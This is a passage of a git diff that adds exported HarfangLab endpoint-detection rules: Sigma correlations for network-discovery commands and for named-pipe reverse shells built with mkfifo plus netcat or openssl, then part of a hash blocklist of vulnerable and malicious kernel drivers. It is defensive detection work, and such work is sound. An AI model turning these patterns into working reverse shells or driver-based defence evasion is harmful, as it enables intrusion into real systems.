MyProcess: created.parent\n    related-process: MyProcess\n    timespan: 2s\n    condition: cmd_netstat and cmd_who\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "warnings": null,
+  "errors": null,
+  "rule_id": "e595008e-d87c-4a1b-a72c-3f9c72d68aca",
+  "rule_name": "System Network Connections Discovered (Linux)",
+  "rule_description": "Detects the execution of commands to retrieve information about network connections.\nAttackers may use it during the discovery phase to display information about the system.\nIt is recommended to investigate the process performing this action to determine its legitimacy.\n",
+  "rule_creation_date": "2025-10-20",
+  "rule_modified_date": "2026-01-21",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1033",
+    "attack.t1049"
+  ],
+  "synchronization_status": "e1942801-4a51-49fb-aa1e-bf854677f6c7",
+  "declared_in": null,
+  "source": "bd7155f6-c7cf-4461-8e31-1aa60bf0a7c9"
+}
+{
+  "id": "eed7ad50-c4a6-476b-b3b8-c8570d32b537",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "bd7155f6-c7cf-4461-8e31-1aa60bf0a7c9",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_dependencies": [],
+  "rule_is_depended_on": [],
+  "inner_sigma": [
+    {
+      "id": "d885a69a-230a-40fb-ac5a-0c215fe11e32",
+      "origin_stack": {
+        "id": "b8e2fe4fc90e4d08",
+        "name": null,
+        "is_current": false,
+        "is_supervisor": true,
+        "is_tenant": false
+      },
+      "tenant": "b8e2fe4fc90e4d08",
+      "origin_stack_id": "b8e2fe4fc90e4d08",
+      "name": "Net Use Executed",
+      "creation_date": "2025-10-17",
+      "modified_date": "2026-01-21",
+      "description": "Detects the execution of the 'net use' command on a Windows system, which is used to display shared network resources.\n",
+      "hl_silent": false,
+      "hl_status": null,
+      "level": "low",
+      "raw_tags": [],
+      "rule_confidence": "weak",
+      "status": null,
+      "os": "windows",
+      "can_block": true
+    },
+    {
+      "id": "007eb20f-51e0-4032-a8b3-c02ad63835d2",
+      "origin_stack": {
+        "id": "b8e2fe4fc90e4d08",
+        "name": null,
+        "is_current": false,
+        "is_supervisor": true,
+        "is_tenant": false
+      },
+      "tenant": "b8e2fe4fc90e4d08",
+      "origin_stack_id": "b8e2fe4fc90e4d08",
+      "name": "Netstat Executed",
+      "creation_date": "2025-10-17",
+      "modified_date": "2026-01-21",
+      "description": "Detects the execution of the 'netstat' command on a Windows system, which is used to display active network connections, listening ports, and network statistics.\n",
+      "hl_silent": false,
+      "hl_status": null,
+      "level": "low",
+      "raw_tags": [],
+      "rule_confidence": "weak",
+      "status": null,
+      "os": "windows",
+      "can_block": true
+    },
+    {
+      "id": "ed109dd2-26c1-4664-bb63-b23ede14f0ee",
+      "origin_stack": {
+        "id": "b8e2fe4fc90e4d08",
+        "name": null,
+        "is_current": false,
+        "is_supervisor": true,
+        "is_tenant": false
+      },
+      "tenant": "b8e2fe4fc90e4d08",
+      "origin_stack_id": "b8e2fe4fc90e4d08",
+      "name": "Net Sessions Executed",
+      "creation_date": "2025-10-17",
+      "modified_date": "2026-01-21",
+      "description": "Detects the execution of the 'net sessions' command on a Windows system, which displays information about active sessions on the local computer, including connected users and their resources.\n",
+      "hl_silent": false,
+      "hl_status": null,
+      "level": "low",
+      "raw_tags": [],
+      "rule_confidence": "weak",
+      "status": null,
+      "os": "windows",
+      "can_block": true
+    }
+  ],
+  "inner_correlation": [],
+  "inner_rule_counts": {
+    "sigma": 3,
+    "correlation": 0
+  },
+  "rule_type": "correlation",
+  "is_valid": true,
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:27.713488Z",
+  "creation_date": "2026-03-23T11:45:27.713491Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:27.713497Z",
+  "silent": false,
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1049/T1049.md#atomic-test-1---system-network-connections-discovery",
+    "https://attack.mitre.org/techniques/T1049/",
+    "https://attack.mitre.org/software/S0039/",
+    "https://attack.mitre.org/software/S0104/"
+  ],
+  "name": "t1049_system_network_connections_discovered_windows.yml",
+  "content": "title: Netstat Executed\nname: cmd_netstat\nid: 007eb20f-51e0-4032-a8b3-c02ad63835d2\ndescription: |\n    Detects the execution of the 'netstat' command on a Windows system, which is used to display active network connections, listening ports, and network statistics.\nreferences:\n    - https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/ff961504(v=ws.11)\n    - https://attack.mitre.org/software/S0104/\ndate: 2025/10/17\nmodified: 2026/01/21\nauthor: HarfangLab\ntags: []\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - Image|endswith: '\\netstat.exe'\n        # Renamed binaries\n        - OriginalFileName: 'netstat.exe'\n\n    condition: selection\nlevel: low\nconfidence: weak\ngenerate: false\n---\ntitle: Net Use Executed\nname: cmd_net_use\nid: d885a69a-230a-40fb-ac5a-0c215fe11e32\ndescription: |\n    Detects the execution of the 'net use' command on a Windows system, which is used to display shared network resources.\nreferences:\n    - https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/gg651155(v=ws.11)\n    - https://attack.mitre.org/software/S0039/\ndate: 2025/10/17\nmodified: 2026/01/21\nauthor: HarfangLab\ntags: []\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'net.exe'\n        CommandLine:\n            - 'net use'\n            - 'net.exe use'\n\n    condition: selection\nlevel: low\nconfidence: weak\ngenerate: false\n---\ntitle: Net Sessions Executed\nname: cmd_net_sessions\nid: ed109dd2-26c1-4664-bb63-b23ede14f0ee\ndescription: |\n    Detects the execution of the 'net sessions' command on a Windows system, which displays information about active sessions on the local computer, including connected users and their resources.\nreferences:\n    - https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh750729(v=ws.11)\n    - https://attack.mitre.org/software/S0039/\ndate: 2025/10/17\nmodified: 2026/01/21\nauthor: HarfangLab\ntags: []\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'net.exe'\n        CommandLine:\n          - 'net session'\n          - 'net sessions'\n          - 'net.exe session'\n          - 'net.exe sessions'\n\n    condition: selection\nlevel: low\nconfidence: weak\ngenerate: false\n---\ntitle: System Network Connections Discovered (Windows)\nid: eed7ad50-c4a6-476b-b3b8-c8570d32b537\ndescription: |\n    Detects the execution of commands to retrieve information about network connections.\n    Attackers may use it during the discovery phase to display information about the system.\n    It is recommended to investigate the process performing this action to determine its legitimacy.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1049/T1049.md#atomic-test-1---system-network-connections-discovery\n    - https://attack.mitre.org/techniques/T1049/\n    - https://attack.mitre.org/software/S0039/\n    - https://attack.mitre.org/software/S0104/\ndate: 2025/10/17\nmodified: 2026/01/21\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1049\n    - attack.s0039\n    - attack.s0104\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\ncorrelation:\n    type: combination\n    platform: windows\n    rules:\n        - cmd_netstat\n        - cmd_net_use\n        - cmd_net_sessions\n    group-by:\n        - processes\n    processes:\n        MyProcess: created.parent\n    related-process: MyProcess\n    timespan: 2s\n    condition: cmd_netstat and cmd_net_use and cmd_net_sessions\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "warnings": null,
+  "errors": null,
+  "rule_id": "eed7ad50-c4a6-476b-b3b8-c8570d32b537",
+  "rule_name": "System Network Connections Discovered (Windows)",
+  "rule_description": "Detects the execution of commands to retrieve information about network connections.\nAttackers may use it during the discovery phase to display information about the system.\nIt is recommended to investigate the process performing this action to determine its legitimacy.\n",
+  "rule_creation_date": "2025-10-17",
+  "rule_modified_date": "2026-01-21",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1049"
+  ],
+  "synchronization_status": "e1942801-4a51-49fb-aa1e-bf854677f6c7",
+  "declared_in": null,
+  "source": "bd7155f6-c7cf-4461-8e31-1aa60bf0a7c9"
+}
+{
+  "id": "fc9663c5-b88d-487a-98b3-421c01431987",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "bd7155f6-c7cf-4461-8e31-1aa60bf0a7c9",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_dependencies": [],
+  "rule_is_depended_on": [],
+  "inner_sigma": [
+    {
+      "id": "478b012d-d794-48ee-962c-a584c48967fd",
+      "origin_stack": {
+        "id": "b8e2fe4fc90e4d08",
+        "name": null,
+        "is_current": false,
+        "is_supervisor": true,
+        "is_tenant": false
+      },
+      "tenant": "b8e2fe4fc90e4d08",
+      "origin_stack_id": "b8e2fe4fc90e4d08",
+      "name": "FIFO File Created",
+      "creation_date": "2026-01-09",
+      "modified_date": "2026-01-09",
+      "description": "Detects the execution of mkfifo or mknod.\nBoth utilities can be used to create FIFO files, a special type of file that allows inter-process communication, where one process writes data while another process reads it simultaneously.\n",
+      "hl_silent": false,
+      "hl_status": null,
+      "level": "low",
+      "raw_tags": [],
+      "rule_confidence": "weak",
+      "status": null,
+      "os": "linux",
+      "can_block": true
+    },
+    {
+      "id": "e26f81a0-a730-425d-842c-175578204937",
+      "origin_stack": {
+        "id": "b8e2fe4fc90e4d08",
+        "name": null,
+        "is_current": false,
+        "is_supervisor": true,
+        "is_tenant": false
+      },
+      "tenant": "b8e2fe4fc90e4d08",
+      "origin_stack_id": "b8e2fe4fc90e4d08",
+      "name": "OpenSSL Execution",
+      "creation_date": "2026-01-09",
+      "modified_date": "2026-01-09",
+      "description": "Detects the use of OpenSSL to establish encrypted TLS/SSL connections to remote hosts.\n",
+      "hl_silent": false,
+      "hl_status": null,
+      "level": "low",
+      "raw_tags": [],
+      "rule_confidence": "weak",
+      "status": null,
+      "os": "linux",
+      "can_block": true
+    },
+    {
+      "id": "fe05b782-a2d0-4976-b92c-33ad9fda178f",
+      "origin_stack": {
+        "id": "b8e2fe4fc90e4d08",
+        "name": null,
+        "is_current": false,
+        "is_supervisor": true,
+        "is_tenant": false
+      },
+      "tenant": "b8e2fe4fc90e4d08",
+      "origin_stack_id": "b8e2fe4fc90e4d08",
+      "name": "Netcat Execution",
+      "creation_date": "2026-01-09",
+      "modified_date": "2026-01-09",
+      "description": "Detects the execution of Netcat, a networking utility that reads and writes data across network connections.\n",
+      "hl_silent": false,
+      "hl_status": null,
+      "level": "low",
+      "raw_tags": [],
+      "rule_confidence": "weak",
+      "status": null,
+      "os": "linux",
+      "can_block": true
+    }
+  ],
+  "inner_correlation": [],
+  "inner_rule_counts": {
+    "sigma": 3,
+    "correlation": 0
+  },
+  "rule_type": "correlation",
+  "is_valid": true,
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:27.713568Z",
+  "creation_date": "2026-03-23T11:45:27.713570Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:27.713575Z",
+  "silent": false,
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/",
+    "https://attack.mitre.org/techniques/T1059/004/",
+    "https://attack.mitre.org/techniques/T1071/001/"
+  ],
+  "name": "t1059_004_named_pipe_reverse_shell.yml",
+  "content": "title: FIFO File Created\nname: fifo_file_created\nid: 478b012d-d794-48ee-962c-a584c48967fd\ndescription: |\n    Detects the execution of mkfifo or mknod.\n    Both utilities can be used to create FIFO files, a special type of file that allows inter-process communication, where one process writes data while another process reads it simultaneously.\nreferences:\n    - https://linux.die.net/man/1/mkfifo\n    - https://threatpost.com/mitel-voip-bug-exploited/180079/\n    - https://attack.mitre.org/techniques/T1559/\ndate: 2026/01/09\nmodified: 2026/01/09\nauthor: HarfangLab\ntags: []\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection_mkfifo:\n        Image|endswith: '/mkfifo'\n\n    selection_mknod:\n        Image|endswith: '/mknod'\n        CommandLine|endswith: ' p'\n\n    condition: 1 of selection_*\nlevel: low\nconfidence: weak\ngenerate: false\n---\ntitle: Netcat Execution\nname: netcat\nid: fe05b782-a2d0-4976-b92c-33ad9fda178f\ndescription: |\n    Detects the execution of Netcat, a networking utility that reads and writes data across network connections.\nreferences:\n    - https://www.varonis.com/blog/netcat-commands\ndate: 2026/01/09\nmodified: 2026/01/09\nauthor: HarfangLab\ntags: []\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith:\n            - '/netcat'\n            - '/ncat'\n            - '/nc'\n            - '/nc.openbsd'\n            - '/nc.traditional'\n\n    condition: selection\nlevel: low\nconfidence: weak\ngenerate: false\n---\ntitle: OpenSSL Execution\nname: openssl\nid: e26f81a0-a730-425d-842c-175578204937\ndescription: |\n    Detects the use of OpenSSL to establish encrypted TLS/SSL connections to remote hosts.\nreferences:\n    - https://attack.mitre.org/techniques/T1057/\n    - https://attack.mitre.org/software/S0057/\ndate: 2026/01/09\nmodified: 2026/01/09\nauthor: HarfangLab\ntags: []\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        CommandLine|contains:\n            - 'openssl*s_client'\n            - 's_client*-connect*'\n\n    condition: selection\nlevel: low\nconfidence: weak\ngenerate: false\n---\ntitle: Named Pipe Reverse Shell Execution\nid: fc9663c5-b88d-487a-98b3-421c01431987\ndescription: |\n    Detects the execution of shell commands used to create reverse shells through the use of named pipes (FIFO files).\n    Such command patterns commonly leverage utilities like openssl or netcat to establish interactive remote access, potentially allowing attackers to control a compromised system while evading traditional network-based detections.\n    It is recommended to investigate the process that ran this commands and its execution context to determine if this action was legitimate.\nreferences:\n    - https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/\n    - https://attack.mitre.org/techniques/T1059/004/\n    - https://attack.mitre.org/techniques/T1071/001/\ndate: 2026/01/09\nmodified: 2026/01/23\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.004\n    - attack.command_and_control\n    - attack.t1071.001\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.RemoteShell\ncorrelation:\n    type: combination\n    platform: linux\n    rules:\n        - fifo_file_created\n        - netcat\n        - openssl\n    group-by:\n        - processes\n    processes:\n        ParentProcess: created.parent\n    related-process: ParentProcess\n    timespan: 5s\n    condition: fifo_file_created and (netcat or openssl)\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "warnings": null,
+  "errors": null,
+  "rule_id": "fc9663c5-b88d-487a-98b3-421c01431987",
+  "rule_name": "Named Pipe Reverse Shell Execution",
+  "rule_description": "Detects the execution of shell commands used to create reverse shells through the use of named pipes (FIFO files).\nSuch command patterns commonly leverage utilities like openssl or netcat to establish interactive remote access, potentially allowing attackers to control a compromised system while evading traditional network-based detections.\nIt is recommended to investigate the process that ran this commands and its execution context to determine if this action was legitimate.\n",
+  "rule_creation_date": "2026-01-09",
+  "rule_modified_date": "2026-01-23",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.004",
+    "attack.t1071.001"
+  ],
+  "synchronization_status": "e1942801-4a51-49fb-aa1e-bf854677f6c7",
+  "declared_in": null,
+  "source": "bd7155f6-c7cf-4461-8e31-1aa60bf0a7c9"
+}
diff --git a/harfang_export/driver_blocklist_export.json b/harfang_export/driver_blocklist_export.json
new file mode 100644
index 0000000..2dc0c25
--- /dev/null
+++ b/harfang_export/driver_blocklist_export.json
@@ -0,0 +1,245854 @@
+{
+  "id": "00055d75-c4ca-5c5b-8eb0-cf1ae8fbeae4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820302Z",
+  "creation_date": "2026-03-23T11:45:30.820304Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820309Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0ffa2791abaa004489427b2c187b64db87b49aaa0ffb2e576f0c982dbe62c62a",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "000a28de-7145-5411-8498-d995fafff2e1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.603951Z",
+  "creation_date": "2026-03-23T11:45:29.603954Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.603965Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f4222e186d23160c29fe2bdf163d29561139eae8484d081457e7278872d7e9e2",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0010a7ec-4038-52d2-bafd-8951fd0da80c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.467985Z",
+  "creation_date": "2026-03-23T11:45:30.467989Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.467998Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "81237053f6eeaf659970e9e5e7abba00261ec2b850b1f5b195d0888f8ce66d6f",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0016849f-5781-5d69-9677-55ab9fae5c65",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.462956Z",
+  "creation_date": "2026-03-23T11:45:30.462959Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.462968Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bcb774b6f6ff504d2db58096601bc5cb419c169bfbeaa3af852417e87d9b2aa0",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "001cbe83-97a2-5162-a1dc-71a584661ffd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149097Z",
+  "creation_date": "2026-03-23T11:45:31.149100Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149108Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8c7c17c77cadbedc05bd2cb988dd3f654fd7b43899a949ec1d63d07ede6570c4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "002e82a9-97d5-50ea-987d-429045a2b609",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609736Z",
+  "creation_date": "2026-03-23T11:45:29.609738Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609744Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ce23c2dae4cca4771ea50ec737093dfafac06c64db0f924a1ccbbf687e33f5a2",
+  "comment": "Novell vulnerable driver (aka nicm.sys, nscm.sys and ncpl.sys) [CVE-2013-3956] [https://www.loldrivers.io/drivers/f4126206-564f-49f5-a942-2138a3131e0e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0031c4f5-a44b-5b66-8741-0c4516e658c1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967920Z",
+  "creation_date": "2026-03-23T11:45:29.967922Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967927Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b348190c2991baec9cdda808187712c205dbf0f3f6178b3c68bc9b13bb0d3bfe",
+  "comment": "Retliften malicious signed drivers (aka netfilter.sys) [https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "00373a0f-2ca7-5e52-aa17-4ddb36b93d42",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811681Z",
+  "creation_date": "2026-03-23T11:45:31.811683Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811689Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e37f4c077ae36294772acc7d23084d1ef5ab5e293974b1a872a5b18fb85f873a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "003c2e1b-9e06-598e-b9fa-2cd73aef37b5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967401Z",
+  "creation_date": "2026-03-23T11:45:29.967403Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967409Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a3e8ea5e593176f9e66c17f6a200fa665c7ef409c97f49aadf5a55ad6b0be97e",
+  "comment": "Retliften malicious signed drivers (aka netfilter.sys) [https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "003c8069-8d1a-50ee-b5e8-afcaee6796a8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828931Z",
+  "creation_date": "2026-03-23T11:45:30.828933Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
